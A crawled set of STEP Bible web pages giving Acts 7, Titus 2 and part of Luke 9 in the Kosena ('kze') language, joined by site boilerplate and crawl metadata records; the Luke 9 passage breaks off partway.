Ísípi-marara-kawaanako Yósépina kawer-ímáyáá iséna séna Ísípi-maravaꞋa amápa-kwaasiraꞋa kaweꞋá umái kárákwiye kesí náaindaankaꞋa mirán-uwo súwana kwemó súntemba kwéuwana 11 naaémba ayawaimá téna Ísípi-maravare Kénááni-maravare amápar-ayampaꞋa ayawaimá tówasa tááiyavai ésa kentáá síkwáꞋnáyomba toómbá íma kentáávímbá kwéraiye. 12 Ísípi-maravaꞋa toómbá kwáyáiye-aimba isáúmpo komeéyán-oro Yákópo séna áánimbaaꞋa tiꞋmarówasa komeéyá úmaesa 13 tivowánópaꞋa tamáyówana mintómbá ánásowana óꞋa kuwaná Yósépi miwítí egwaaꞋá tamaéna séna kemá Yósépi kentíváꞋa úne súwasa kesí imáyáao pukáane súndayaawe suwaná Ísípi-marara-kawaanako Yósépina ááimba iséna awaaísáí tuwánówana 14 Yósépi awaaísáí simátimena kesivombá kosimámiyana ená akúmbá tíꞋmae ÍsípivaꞋa tiyó Yósépi siyé. kosimáméro Yósépi súwana avowámá iséna kwená akúmbá 75 kwaasi tíꞋmaena ÍsípivaꞋa kaweꞋá umái komésa púwúwasa 16 naaémba miwí tísaavutomba tiyáántámba maimaé teémesa SékémuvaꞋa máutomba naaóváꞋá Ááváramu Émon-andaraken-kwaasima óntamba tímatukom-baravaꞋa máutaraawe.\n17 ánivo kentáá síkwáꞋnáyomba Ísípi-maravaꞋa komésa sáwíva-kwaasi agairáawe. Áánútu Ááváramuntavena asirayán-áímbá séna Kénááni-marama enaísaavutantambo íyawai timénaumne siróntemba timínín-kanaa ákíse únkaꞋa 18 moóráwai Ísípi-marara-kawaanako Yósépimo naaóváꞋó pukóntavena kwená mayáí-áímbá íma ísarowai póna 19 kentáá síkwáꞋnáya umbai-máyáí tiména maimái sáwíꞋa kwéumatinkowasa iyámpói máápaꞋa tiyuwówasa pukáawe.\n20 iyámpóíyomba púwúwana minkánáávímbá Mósesi kawer-óígwárár-íyámpóí ánkarena anówama naaúmpaꞋa aúpáꞋá ánkarowana kaumbo-kwíyómbá putuwéna 21 máápaꞋa áíꞋmaena móru ánkarowana Ísípi-kawaanako ayáámúnkoma awánómba aráái tówana kesáánine séna kárákwirowana anón-úwasa 22 Ísípi-kwaasi miwítí ááimba kwésimamaꞋmae íyúwana Mósesi kwéisena anón-éna kwemó mayóm-bayaigoe kwenááigoe kaweꞋá uráiye.\n23 Mósesi mirán-kwáásí ména kae-kwááí aíyayaan-ima 40 íma maisuwéna kesí kwaási Ísareri-kwaasi kotuwánanae séna kúmba 24 Ísípi-kwaasigo Ísareri-kwaasigomba sáwíꞋa umánkowana Mósesi tuwánéna Ísareri-kwaasi áwaꞋnaa ena Ísípi-kwaasigomba tuvúwúwana puwúwana 25 Mósesi imáyáa éna séna Áánútu mimbáyáírátávéna usásisinkaraimba póꞋa Ísípivakemba Ísareri-kwaasi tíꞋmaeꞋa koónaunda mimbáyáíyávésa owé sénááowe siráimbanivo Ísareri-kwaasi íma mirán-ímáyáá uwaná 26 Mósesi kogwaéna usásinena kúmba Ísareri-kwaasi kaekó ááiꞋa tíyóyana tuwánéna tiyoráínda-imayaa éna séna kaeꞋnáraiyo mimbórá-naoraama óívo ááiꞋa tiyaáyavo súwana 27 aivaꞋó ááimbaꞋmaimo tiyón-kwaasigo Mósesimba améntáyuwena séna nááwa embá usásinankaraisa kentáásí kawááíꞋa éwa aaiyá kwésimasimeno. 28 tíndaumo Ísípi-kwaasimo tuvuwónanamo puwéiraintena kembá mirá íníyono súwana 29 Mósesi iséna inkaiséna kweéme kweémena Mítíyani-maravaꞋa óꞋon-kwaaiti maapaꞋa koména kaer-íyámpóí matínkaraiye.\n30 Mósesi kaer-íyámpóí matinkéna ména kae-kwááí aíyayaan-ima 40 íma maisuwéna moórá-tawai kavóná-maravaꞋa kwégwena Sáínai-omapaꞋa egwaaꞋá kwáyonkaꞋa kwéguwana sáwíyan-taivinkemba irá kwégena íma mintáí kówana Áánútuna kwayóꞋnáꞋá kwíyómpakewaima mimpímbá máyowana mintáí íma kówana 31 Mósesi awánéna anón-imayaa éna egwaaꞋá koména awánówana Áánútu séna enaíkwáꞋná Ááváramune Áísákaane Yákópone miwítí Áánútu úne súwana Mósesi mináímbá iséna ayántámbá tówana úwoivaꞋa karakówana 33 Ísóigo séna máyaunda póna áꞋoram-barama kwáyáipaꞋan-ivo kaweꞋ-máráváꞋá méraapaꞋan-ivo maambárámá sáwíꞋa ónavainivo aísamai ánáamba ayútuwaao. 34 ÍsípivaꞋa kesí kwaási sáwíꞋo kwéumatinkaawasamo iviꞋó kwétaamba tuwánáúnda póꞋa túwaꞋnaa ónaumpo usásinenaꞋa aiꞋmáráana kweéme kweéme ÍsípivaꞋa kuré kesí kwaási Ísareri-kwaasi kótíꞋmae Kénááni-maravaꞋa kwaaó Áánútu Mósesintavena siráiye.\n35 kwembá Mósesimba Ísareri-kwaasi tínaaemba umánkesa sésa nááwa embá usásinankaraisa kentáásí kawááíꞋa éwa aaiyá kwésimasimeno siráawe. siráan-kwaasiyavena Áánútu mináímbá siráiye. kwembá Mósesintavena Áánútuna kwayóꞋnáꞋá kwíyómpakewaima sáwíyan-taivinkemba aaí simámakaiye. kwembá Mósesimba Áánútu kawáá-máyáí aména aiꞋmarówana Ísípivakemba Ísareri-kwaasi kótíꞋmaena Kénááni-maravaꞋa kuráiye. 36 kwemá Mósesima ÍsípivaꞋa ímo awárom-bayai óꞋom-bayai mayówasa sésa úwoi tíꞋmae kóuwo suwaná tíꞋmaena kúmba nonkó áwíꞋa naae-nóné supaꞋá kwéna ímo awárom-bayai kaweꞋ-máyáí komaéna tíꞋmaena kúmba kavóná-maravaꞋa kae-kwááí aíyayaan-iraꞋa 40 iraꞋa komáyówana ímo awárom-bayai kaweꞋ-máyáí maimaéna iráiye. 37 kwemá Mósesima simátimena séna Áánútumo kembó usásisinkarainten-umai naaémba moóráwaimba kentísaavutantambo íyawaivinkemba usásinankaniye. Áánútun-aai simátiminiwaimba usásinankaniye. 38 kwemá Mósesima kavóná-maravaꞋo Áánútuna kwaási Ísareri-kwaasimo méraapaꞋa miwísé ména kentáá síkwáꞋnáyonte ména Áánútuna kwayóꞋnáꞋá kwíyómpakewai kwesé ména Sáínai-omapaꞋa umáyowana Áánútuna kwayóꞋnáꞋá kwíyómpakewai Áánútuna ámáámba simámuwana ímo ánásai-aimba simámuwasa simátímaꞋmaesa kuráanta kwéisaumne.\n39 Mósesin-aai simátímúmba kentáá síkwáꞋná íma isésa tínaaemba umámesa ÍsípivaꞋa tayauweránáe-imayaa uwaná 40 naaémba Áánútu Mósesimba ááyowana omápaꞋa umáyowasa Mósesi awaaó áwíꞋa Érónintavesa sésa Mósesi Ísípivakembo síkaiwaiya náávara kóuraiyo. íma awánáúndavata kóuraivo moórá-isoigomba tarórúmarewata kwenarááíya kwáráano sésa 41 óntandankakemba purumakan-áráákaamba úmaresa minkámpár-ísóígóná aamoimá umánkesa póíma tuvúꞋmái kwénesa úmakon-tantaatavesa aamoí ésa toóníꞋa umái kwénowana 42 mindáyavena Áánútu ánaaemba umátiyuwowasa kwíyóntavesa aaváúyávésa otávésa kesí ísóigoman-iye siráawe. mindáyavena naaóváꞋá Áánútun-aai simátímakowai agaimaréna séna\nÍsareri-kwaasiyono. kavóná-maravaꞋa kae-kwááí aíyayaan-iraꞋa 40 iraꞋa méꞋa póíma tuvúꞋmái neémáémba íma kentávéꞋa ísámai neémáémbanivo 43 kentí kampar-ísóígóntávéꞋa ísámai kwená ampanta-námbá maimaéꞋa kwénaaowe. minkámpár-ísóígó áwíꞋa Mórókowe siráawe. okáán-tántááꞋá tarórumakeꞋa áwíꞋa Erevááníyé kwéseꞋa toré kwénaaowe. minkámpá-káér-ísóíráí úmareꞋa kesí ísóigowe kampaꞋá séꞋa áwíꞋa maé kwéiyowe. mirá uráantaveꞋa kentí maravákémbá tiꞋmáráanaꞋa kweémeꞋa moórá-maravaꞋa áwíꞋa Pépíróni-maravaꞋa koménaaowe\nÁánútun-aai simátímakowai agaimaréna siráiye.\n44 naaóváꞋá kavóná-maravaꞋa Áánútu Mósesimba agaráárankena Áánútuna naambó ampantaráꞋó ónááomba maará ónááowe séna agaráárankowasa Áánútumo súntemba mirán-dámbá umái maimaésa kavóná-maravaꞋa kwénaaowe. 45 naaémba miwí táánimbaaꞋa kentáá síkwáꞋnáyomba mindámbá maimáyówana Yósúwa tíꞋmaena Kénááni-maravaꞋa kúmba Áánútu túwaꞋnaa ena mimbáráváꞋó máyón-kwaasi kwatuwówasa kóuwasa koyavíresa mindámbá minkáꞋá mámaresa máyówana naaémba Tévíti Ísareri-kwaasiti kawáánáꞋá máyompimba mindámbá úwoi kwáyowana 46 Tévíti kaweꞋá umái máyowana Áánútu aamoí umánkowana Tévíti Áánútumba áísaa ena séna ená naambá ónaum. íya ónaumno. emá Yákópona Ísóigoma po owé sinaꞋó éꞋa ená naambá ónaumne súwana 47 Áánútu séna emá íma íníyompo enááninko Sórómoni kesí naambá íníye siráimbanivo 48 Áánútu kwíyómpaꞋo máyáimba kwaási úmakaan-daumpaꞋa íma máyáiye. mindáyavena naaóváꞋá Áánútun-aai simátímakowai agaimaréna séna\n49 Ísóigo séna kwíyómpaꞋa kárákwiyeꞋa mararáꞋá kárákwiyunda póꞋa úmaraniyonda-naumpaꞋa íma úwoi marapáꞋá kumbénaumne. 50 kesáváí mintántááꞋá amápaꞋa tarórumakaumne Ísóigo siráiye\nagaimaréna siráiye Sítíveni siráiye.\nSítíveni mináímbá simátímatuwena aaimó isáí-kwáásíyáváí simátimena séna 51 keinárawaꞋa tirunté máráamba méꞋa póꞋa Áánútuna aampaꞋó ímo kwáráan-kwaasiraaniꞋa umái méꞋa Áánútun-aai kwéisaambanivo íma ísámai kaweꞋá kwéowe. kentíkwáꞋnáyomba Áánútun-amankomba tínaaemba umámemaentemba kemá mirá kwéowe. 52 kentíkwáꞋnáyomba Áánútun-aai simátímaꞋmaesa kwéguwai amáparawai sáwíꞋa umátinkesa Áánútuna kawe-kwáyónáꞋá kumíníye-aimba simátímakowai tínkamuwasa pukáawe. naaémba kwemá kumúwaꞋa kuntaruꞋá umái tuvúwúwana pukáiye. 53 ánivo kwíyómpakewaima Áánútuna ámáámba simátímakowaꞋa keinárawaꞋa ísaraambanivo íma ísámai kaweꞋá uráawe Sítíveni siráiye.\nSítívenimba óntandei tuvúkáan-kwasai.54 Sítíveni mináímbá simátimumba aaimó isáí-kwáásí ávááraumai tirunkó sáwíꞋa úwasa iꞋnaiyámbá mésa tíyántavesa uwaná 55 Sítívenimba Áánútun-amanko kwempímbá anómba umánkarowana kwíyómpaꞋa awánómba Áánútuna ságayamba kwáyowana Ísu ayáánúrapaꞋa asirayán-áyámpáꞋá máyowana Sítíveni awánéna 56 séna awánaaro. kwíyómba taaínkaar-isaná Áánútu ayáánúrapaꞋa asirayán-áyámpáꞋá Ísuma kwaási úrandako máyáimba awánaraumne súwasa 57 miwí anónkaꞋa kwááꞋa tésa kwenáái íma isánáe sésa táákaꞋa tiyáándei awááésa Sítívenimba tarááparaapa ésa 58 tátokesa taagwiyaꞋmaésa marur-awámpáꞋá máyuwesa óntamba mairésa tuvúkáawe. Sítívenintavesa kampar-áímbá siráawai paákár-únánkwátói ayútuwowana ívé-kwaasi áwíꞋa Sóro minúnánkwátói kárákwirowasa 59 Sítívenimba óntandei tuvútoꞋnaa uwaná ÍsóigonkaꞋa námúnaavinkemba séna Ísu Ísóigoo kesimambá kumbaimaénaꞋa púwóno séna 60 arauntaúmbá airéna anónkaꞋa séna Ísóigoo sáwíꞋa kwéumasinkaambanivo miwí íma sáwíꞋa umátinke miwítí sáwí-imayaa maitiyuwaaó Sítíveni simásuwena pukáiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.7","date":"2018-04-26T23:11:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948617.86\/warc\/CC-MAIN-20180426222608-20180427002608-00438.warc.gz","language":"kze","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000041723251343}","num_words":1195,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Titus 2\náséi-kwasai arupí umái simátímaꞋmae iyuwó siráin-kwasai.1 Táításiyo áséi-kwasaigona ááimba árair-aimbo simámakaunda simátímaꞋmae iyuwó. 2 anónuꞋmaiyomba simátime se íma uwoꞋaóꞋ-nómbá námae naaéꞋa uwoꞋaóꞋá kwéeꞋa arupí umái méꞋa kentúraꞋa kárákwimai kawer-éꞋa ÁánútumpaꞋa agevamái asiramái méꞋa imáyáa timéꞋa asiramái maíyana íma tívón-káíno simátimiyo. 3 áráankantomba simátime se ÁánútuntaveꞋa imáyáa kwéeꞋa méꞋa íma kwantánaanta-aimba kwéseꞋa íma uwoꞋaóꞋ-nómbá námae naaéꞋa uwoꞋaóꞋá kwéeꞋa ívér-inintaveꞋa kawer-ámbá agaráátínkáaro simátimiyo. 4 mirámó íyasamo ésa ívér-inimba minkáwér-ámpáꞋá kwégwesa tuwaiꞋmááre iyámpóíye tirumbá timésa 5 túraꞋa kárákwimai kawer-ésa kaweré suꞋmai kwéesa tuwaiꞋmáákare iyámpóírare naankaré kaweꞋá umái kárákwiyesa tuwaiꞋmáá táái isánááowe. mirámó íyasamo ésa tuwánésa sésa Áánútun-aai kawer-áímbán-iye sénááowe.\n6 ívé-kwaasiyomba asiramái simátime se kentúraꞋa kárákwimai kaweꞋá oro siyó. 7 amápa-tantaaꞋa kaweꞋá inasá awánésa emó óndantemba miwí mirá íya simátímaꞋmaemo íyínda íma óikakene suꞋmai simátime arunkakénkwáráꞋá simátimiyo. 8 kawer-áíné suꞋmai simátímínasa kampar-áímbán-iye sésamo kampar-áímbó avakáá íyanamo éna íma kwáyainasa tigaeyávésa ésa íma simái sáwíꞋa umásinkanaaowe.\n9 kárákwiraan-kwaasi évakarawai meéyámbakaawasa miwítí mayáí úwoi kwémaesa óntamba íma kwémayaawaiyavai maanáímbá simátimiyo. kárákwiraan-kwaasi táái iséꞋa aamoí umásinkaigwae séꞋa kaweꞋ-máyáí kwémaeꞋa miwíyávéꞋa íma anondá seró. 10 miwítí náaindaampinkemba íma umóyámbá éꞋa kaweré suꞋmaimo íyamba tuwánanaaowe se mirán-áímbá simátimiyo. mirámó íyanamo éna Áánútun-aai kentáásí sáwí-imayaavinkemba kwéiyasinkain-aaigo anómba íníye.\n11 Áánútu úwoi súwaꞋnaa ena Ísu Káráísitimba aiꞋmarówana óꞋon-oꞋon-kwaasi miwítí sáwí-imayaavinkemba iyátinkanintavena marapáꞋá kunkáimba póna 12 Áánútu úwoi súwaꞋnaa ena kawer-ámpáꞋá kónaunda-anta agaráásínkaraiye. minánkómá maarán-ámbán-iye. Áánútuntavesa íma imáyáa kwéowai sáwíꞋo kwéomba sínaaemba umátimeta marapá-tántáátávéta sirááíyaveta úndaya sínaaemba umámeta marapátáámó máyaundaraꞋa kesúrata kárákwiyeta arupí umái méta Áánútuntaveta imáyáa éta méta 13 amuꞋmaréta Áánútu asirayánkwáráwáíyé Ísu Káráísiti kentáásí sáwí-imayaavinkemba kwéiyasinkaiwaiye ságayankogwaraꞋa paároyaaoiyantaveta timuꞋmaréta méta paároyaaoiyan-kanaa sirunkóyá kawetá íníye. 14 Ísu kentáásí sáwí-imayaaomo tátokaimpinkemba iyásinkenaya kawe-kwáásí-íꞋa umásinkenaya kwená kwaási-iꞋa kwéumasinkaiwaiya méta kaweꞋ-máyáí mayánáe séta máyaundayavenaya mindáyavenawe séna Ísu Káráísiti pukáiye.\n15 Táításiyo mináímbá simátime Áánútuna asirayándéí miwítí imáyáa kaweꞋá umátínkénana aaí íma kwéisaiyawai mináínkó tirumbá kwantáínasa aaí ísáaro. sénda-aimba íma ísáavainivo asiramái simátimiyo.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Tit.2","date":"2018-04-22T08:41:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945552.45\/warc\/CC-MAIN-20180422080558-20180422100558-00638.warc.gz","language":"kze","language_score":0.9998532534,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.999853253364563}","num_words":449,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luke 9\nÍsu kwená kwaási mayáíráꞋá tiꞋmákain-kwasai.1 naaémba Ísu kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi tááyowasa tuwaná kwaási tirumpinkémbá taraváá-kwámbá maitíyuꞋmaeꞋa nááóro-asirayamba tiména tíꞋo ún-kwaasi asóvamatinkai-asirayamba tiména 2 séna Áánútu kwená kwaási kawááin-aimba kogwésimatimeꞋa tíꞋo índa-kwaasi kwéasovamatinkeꞋa oró séna 3 aampaꞋó kwíyamba íma moórá-yantaaꞋa maimaéꞋa koró. tááúmba íma maimaéꞋa kwéꞋa toón-únámbá íma maimaéꞋa kwéꞋa toómbá íma maimaéꞋa kwéꞋa óntamba íma maimaéꞋa koró. moórá-mora-umai unáánkwátói timantenká umái kuvéꞋmaeꞋa koró. 4 Áánútun-aai simátimenaaontaveꞋa moórá-naopaꞋo kwíyasamo naambó timíyaꞋa mindáúmpáré suꞋmai méꞋa mindánkó avowá arunkó sáwíꞋan-ivai mindáúmpáꞋá méꞋa kentí mayáí maimái ánáseꞋa mindámbá tuwéꞋa óꞋon-daopaꞋa koró. 5 moórá-naopaꞋo kwíyasamo ímo naambó timíyana Áánútu mindáópaken-kwaasi íma aamoí umátinkanivo umásítaiꞋa éꞋa tísamaivakem-baramo uwáéntemba untéꞋa koró Ísu simátimuwasa 6 kwená kwayó-kwáásí tuwésa naaóꞋ-naoꞋa kwénaaesa Áánútuna áseí-kwasai simátímaꞋmaesa kwégwesa tíꞋo ún-kwaasi asóvamatinkamae kuráawe.\nÉróti Ísun-aai ísarain-kwasai.7 Ísuna mayáígón-áái símae íyúwana Káríri-marara-kawaanako áwíꞋa Éróti mináímbá iséna anón-imayaa urái. Ísuntavesa évakarawai sésa kwemá Yóni nombó pétinkaraiwai pukáimpinkemba usásinkaiye suwasá 8 évakarawai sésa kwemá Áánútun-aai simátímakowai áwíꞋa Íráiyaa pukáimpinkemba usásinena máyáiye suwasá évakarawai sésa kwemá naaóváꞋá Áánútun-aai simátímakaawaivinkemba moóráwai pukáimpinkemba usásinkaiye suwaná 9 Éróti minámápár-áímbá iséna séna kemá simátinkaunasa Yónimba anumarambá arátúwááwana pukáivo mináímbó kwésemba nááwaꞋiyompo awánanaumne Éróti símae iráiye.\nsáwíva-kwaasi toómbá tímakain-kwasai.10 Ísuna aantá-kwaasi Ísumo timúm-bayai maisuwésa kwenópaꞋa tésa amápaꞋ-mayaimo un-áímbá simámúwana Ísu miwíyé suꞋmai tíꞋmaena Pétésáítaa-naopaꞋa komáyowasa 11 ánivo sáwíva-kwaasi isésa kwaꞋmaésa kuwaná Ísu tuwánéna aamoí éna Áánútu kwená kwaási kawááin-aimba simátimena tíꞋo ún-kwaasi asóvamatinkaraiye.\n12 asóvamatinkowasa enónkaꞋa kwená kwayó-kwáásí sísamaivakemba kaeꞋá kumbaimái-kwaasi ÍsunopaꞋa tésa sésa íma sáwíva-kwaasi máyáapaꞋan-ivo enáíndaraꞋa tiꞋmárénasa egwaaꞋ-náópimpaꞋa kwénaaesa toón-ávákáí naan-avákáí oró suwaná 13 Ísu simátimena séna kemá toómbá tíméro súwasa miwí sésa sáwíyan-tomba évaꞋaaseigwara kaeꞋ-nóyáákwáráꞋá kwáyáivo sáwíva-kwaasivimba íma kanaán-ínívo toómbá komeéyán-oro-aina kwéseno áísaa esa suwasá 14 sáwíva-kwaasi 5,000 kwaaima uwasá aaraiyé iyámpóíye máyówana Ísu kwená kwayó-kwáásíyávéna séna inkwimaꞋmái taaínkaa taainkaarumai 50 50 umai maraꞋá máéro simátíméro súwasa 15 isésa mirá umátinkowana 16 Ísu évaꞋaasei-tonkwara kaeꞋ-nóyáákwáráꞋá maisokéna kwíyómpaꞋa karákéna Áánútuntavena súwi simásuwena mintómbá topán-topan-umai kwená kwayó-kwáásí timúwasa misáwívá-kwáásí tímúwasa 17 amáparawai nowaná tímúꞋa vówasa Ísuna kwayó-kwáásí mintón-ayai sísamaivakemba kaeꞋá kumbaimái-unampimba áítumai ógwitaraawe.\nPítaa Ísuna ááimba siráin-kwasai.18 moórá-tawai Ísuwe kwená kwayó-kwáásíyé máyówana Ísuwe suꞋmai ÁánútumpaꞋa námúnaa simásuwena tísaa ena séna kentávésa amáparawai nóran-kwaasiye kwéseo súwasa 19 miwí sésa évakarawai sésa emá Yóni nombá pétinkaandawai óne sewasá évakarawai sésa naaóváꞋá Áánútun-aai simátímakaandawai áwíꞋa Íráiyaama óne sewasá évakarawai sésa naaóváꞋá Áánútun-aai simátímakaiwai pukáandavinkemba usásinkaandawai óne kwésewe suwaná 20 Ísu séna keinárawaꞋa kentávéꞋa nóran-kwaasiye kwéseo súwana Pítaa séna Áánútu usásinankaiwaimba Yútaa-kwaasiya kwéamuꞋmaraundawaiya óne súwana mináímbá íma simátíméro Ísu asiramái siráiye.\nÍsu pukéꞋa usásinanaumne siráin-kwasai.21 Ísu séna mináímbá íma simátíméro simásuwena 22 séna kemá kwaási úrandaꞋa kumpaáruraundawai síꞋa índaiꞋa umásinkesa Yútaa-anon-kwaasiye mono-káwáá-kwáásíyé ámáámba sen-kwáásíyé tínaaemba umásimesa sínkamiyaꞋa puwónaundanivo kaumbo-táwai maisuwéna Áánútu usásisinkaniye Ísu siráiye.\n23 Ísu simásuwena amáparawai simátimena séna kesínaaemba kwaránáe síyawai tirááímo táínda-yantaaꞋa íma tátoraaro. kemá puwónaunda-taima súgwaataꞋmaeꞋa kondantembá kesínaaemba kwaránááowaima umbai-yántááꞋá aasiyaasi-táwai timíyasa minúmbáí-yántááꞋá úwoi maimaésa sínaaemba kwaránááowe. 24 tirááímo táíndaiꞋo ésa íma kaweꞋá umái ménaaovo kentávésa ísámai tirááímo táínda-yantaaꞋo tuwésa puwésa aúnáiꞋa umái maíꞋmaiꞋa ónááowe. 25 marapákémbó amápa-tantaaꞋo kwémaesamo puwíyambo éna mintántáákó íma túwaꞋnaa íníye. 26 kesááiyavaigwara kentáváígwáráꞋó tigaemó umásínkáámba póꞋa aáno kemó marapáꞋó kúmónda miwí sigaemá umátinkanaumne. kemá kwaási úrandaꞋa kumpaáruraundawai aáno kesí ságayankwara kesivoná ságayankwara kwíyómpakembo Áánútuna kwayóꞋnárawati ságayankwaraꞋo marapáꞋó kúmónda miwí sigaemá umátinkanaumne. 27 áraiꞋa simátimeꞋa séꞋa évakaꞋa maankáꞋó máyáan-kwaasi íma aivaꞋá puwéꞋa Áánútu kwená kwaási kwégawaaimba awánéꞋa naaémba puwónááowe Ísu siráiye.\nÍsu óꞋon-kuwawaaꞋa aúkáin-kwasai.28 Ísu simásuwena avakaumboé-noꞋwaamba kwaéna Pítaante Yóninte Yémésinte tíꞋmaena námúnaa síndayavena omápaꞋa uména 29 námúnaa kwésuwana óiꞋa óꞋon-oiꞋa auvúwana kwená unáánkwátóirakemba kwayáníꞋa kéna túgáyáagaya kwéuwasa 30 awánomba kae-kwáásíráí kwíyómpakemba paárésarai mindárai túwíꞋa Mósesiye Íráiyaae Yútaa-kwaasi tíkwáꞋnárai Ísuwe kwaasái kwésuyana kwíyómpake-sagayamba kwáyowarasarai naaóváꞋá Áánútu Ísuntavena YérúsaremuvaꞋa puwíníye siráimba sáwíyankaꞋa mirá íníye-aimba kwésuyasa 32 Pítaae máyóyan-kwaasiye tuún-kwáyómba usásinesa Ísuna ságayamba Ísuwe máyóyan-kwaasi tuwánomba 33 mindárai Ísumba íma auwésarai íyúyana Pítaa Ísuntavena séna anóndakoo maankáꞋó maúndaya kaweꞋá imbá póta kwááyu-namba kaumbomá ónaundaya moórá endéín-éta moórá Mósesindei éta moórá Íráiyaandei éta mirá ónaundayaawe Pítaa íma imáyáa úmba úwoi siráiye.\n34 mirá kwésunkaꞋa ainánkó kuména káátaguwasa táátavai uwaná 35 ainámpínkémbá aaigówé suꞋmai séna maawámá kesáánimba éna kemá usásinankaundawain-ivo kwenáái ísáaro 36 simásuwowasa awánomba mindárai kwíyómpaꞋa íyúyana Ísuwe suꞋmai máyowasa awánaraamba minkánáá íma simátimesa mináímbá úwoi tátokaawe.\nÍsu taraváá-kwámbá mayáúkain-kwasai.37 aaváyaaraamba omápakemba kúmúmba ÍsunopaꞋa sáwívarawai tóyo uwaná 38 minkwáásíyómpínkémbá moóráwai anónkaꞋa séna anóndakoo maandáꞋá kímbora kesáánimban-ivo arumbá umánkaao. 39 moórá-taravaa-kwamba arumpimbá taména kwááꞋa kwétena amentánaanta isaná tanaambá váguvagu kwéena áwááyaamba akékúndena aigareó nonkáánéna aíyayaamba sápísimagwisana mirá úmaena kwéiyena sáwíꞋa kwéumankaisaꞋa 40 ená kwayó-kwáásíyávéꞋa séꞋa taraváá-kwámbá arupinkémbá mayaúwáaro súnasa íma kanaán-umai mayáúkaawe súwana 41 Ísu séna kentí imáyáa kaeꞋnáér-imayaa isaꞋá kentáváí íma imáyáa kwéowana póna sirumbá umbaí kwétaivo nóraumai-tawaiya kesé ménaumno simásuwena miníyámpóígó avowántávéna séna enáánimba áíꞋmae tiyó Ísu súwana 42 áíꞋmaena túwana mintáráváá-kwánkó miníyámpóí améntayuwowana tanaambá vówana aíyayaamba sápísimaguwana aigareó nonkáánúwana Ísu awánéna mintáráváá-kwánkóntávéna séna auwé kóaao séna miníyámpóí kaweꞋá umánkena avowántávéna séna áíꞋmae kwaaó súwasa 43 Ísumo mirámó úmba Áánútuna anón-asirayamba awánésa amáparawai táátavai ésa tiyáámba tóipimba áákaawe.\nÍsu puwínín-aimba siráin-kwasai.44 Ísu amápaꞋ-mayaimo mayómba awánésa táátavai uwaná kwená kwayó-kwáásíyávéna séna simátíménda táákaꞋa márááro. kembá kwaási úrandaꞋa kumpaáruraundawaimba óꞋon-kwaasi timíyasa sínkamiyaꞋa puwónaumne súwasa 45 kwemó sún-ainkona ááimba íma isésa miwítí imáyáa umbaí tówana mináínkóná ááimba aúpáꞋá kwáyowasa íma ísámai kaweꞋá ésa áísaa ónáe sésa umbá tááꞋa kówasa íma áísaa uráawe.\nnááwa kwéusayaaitaiyo siráan-kwasai.46 Ísuna kwayó-kwáásí keáín-keaimba sésa kentáávínkémbá nááwa aiva-kwáásí-íꞋa íníyo sésa keíyáí kwésuwana 47 Ísu miwítí imáyáamo umbá awánéna moórá-iyampoi áíꞋmai akwámpaꞋa ankéna 48 simátimena séna kentáváí imáyáa kwéesa iyámpói áwaꞋnaa onten-umái kwésuwaꞋnaa-owe. súwaꞋnaa onten-umái Áánútu siꞋmákaiwaimba kwéawaꞋnaa-owe. keinárawapinkemba évakarawai séꞋa kemá sáwíyan-kwaasima úne kwésiyawai Áánútu minkwáásíyávéna kwéusayaaitaawe kwésiye Ísu siráiye.\nkentí mayáí íma sáwíꞋa kwéiwaina kwaasái.49 súwana Yóni Ísuntavena séna anóndakoo moóráwai kwénaaena taraváá-kwántóntávéna séna Ísuna asirayámbá kwáyáintavena auwé kóaao simátímapaꞋa kwégwisasa mintáráváá-kwámbá kóuraawe. minkwáásígó íma kentáávínkén-kwáásímá ómpo íma miráne étuwaaoya siráumne Yóni súwana 50 Ísu séna íma tuvínankaaro. kentáásí maiyáígómbá íma sáwíꞋa kwéowai úwoi kwésuwaꞋnaayaan-owe Ísu siráiye.\nSámériyaa-kwaasi Ísumba íma naambá ámakaan-kwasai.51 Áánútu Ísumba airáínana kwíyómpaꞋa iyínín-kanaama sáwíyankaꞋa tíníye úwana Ísu kwenarumpin-ímáyáá éna asiramái séna Yérúsaremu-naopaꞋa kónáe séna kwéna 52 kwená kwaásiyavena kogwaénááon-damba koavakáá kwéiyaro séna 